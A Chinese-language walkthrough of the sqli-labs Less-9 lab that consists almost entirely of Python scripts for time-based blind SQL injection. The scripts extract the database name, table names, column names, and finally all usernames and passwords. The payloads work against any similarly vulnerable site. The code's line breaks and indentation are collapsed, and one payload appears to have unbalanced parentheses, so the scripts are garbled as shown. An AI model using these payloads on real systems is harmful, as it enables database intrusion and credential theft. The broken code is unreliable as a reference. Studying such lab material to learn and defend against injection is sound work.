SQL注入实例（sqli-labs/less-9）

0、初始页面

1、爆库名

使用python脚本

def inject_database1(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(),%d,1)) > %d ,sleep(2),0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 2:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database1(url)

2、爆表名

使用python脚本

def inject_database1(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database1(url)

3、爆列名

使用python脚本

def inject_database1(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1) > %d ,sleep(1),0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)inject_database1(url)

4、显示最终目的

使用python脚本

def inject_database1(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr((select group_concat(username,0x3a,password) from users),%d,1)) > %d ,sleep(1),0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname = name + chr(mid)print(name)